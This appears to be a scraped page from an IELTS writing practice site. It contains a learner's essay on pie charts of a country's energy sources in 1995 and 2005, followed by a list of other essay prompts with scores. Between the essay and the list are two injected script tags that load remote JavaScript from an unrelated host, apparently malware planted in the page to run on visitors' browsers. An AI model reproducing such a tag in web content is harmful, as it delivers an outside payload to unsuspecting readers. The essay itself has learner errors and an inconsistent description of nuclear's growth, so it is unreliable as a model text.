The pie charts illustrate the distribution of various energy sources in a given nation in the years 1995 and 2005
Overall, it is readily inevitable that the generation of two main energies (coal and gas) rose marginally, while petro declined considerably. “Other” and nuclear also grew greatly, despite remaining less popular in both years
In 1995, coal, gas, and petro were roughly equal in terms of energy production with each slightly above 29%. By 2005, the figures for coal and gas had risen moderately (30.93% and 30,31%, respectively) while petro experienced a dramatic decrease, accounting for approximately 20% of the total
The data for the rest categories was relatively lower with “other” accounting for 4,9% of energy production to begin the period and nuclear stood at 6.4%. by 2005, “other” had narrowed the disparity and nearly doubled to 9.1%, and the generation of nuclear energy grew slightly to reach 10.1%
<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>
- In order to study at university students are required to pay expensive tuition fees Not all students can afford them so some people think that university education should be free for everyone To what extent do you agree or disagree 89
- The pie graphs below show the comparison of different kinds of energy production of France in two years pie comparison
- Nowadays some older people choose to live in retirement communities with other people rather than living with their adult children Is it a positive or negative development 67
- Many university students live with their families while others live away from home because their universities are in different places What are the advantages and disadvantages of both situations 73
- The world of work is rapidly changing and employees cannot depend on having the same job or the same working conditions for life Discuss the possible causes and suggest ways to prepare people to work in the future 78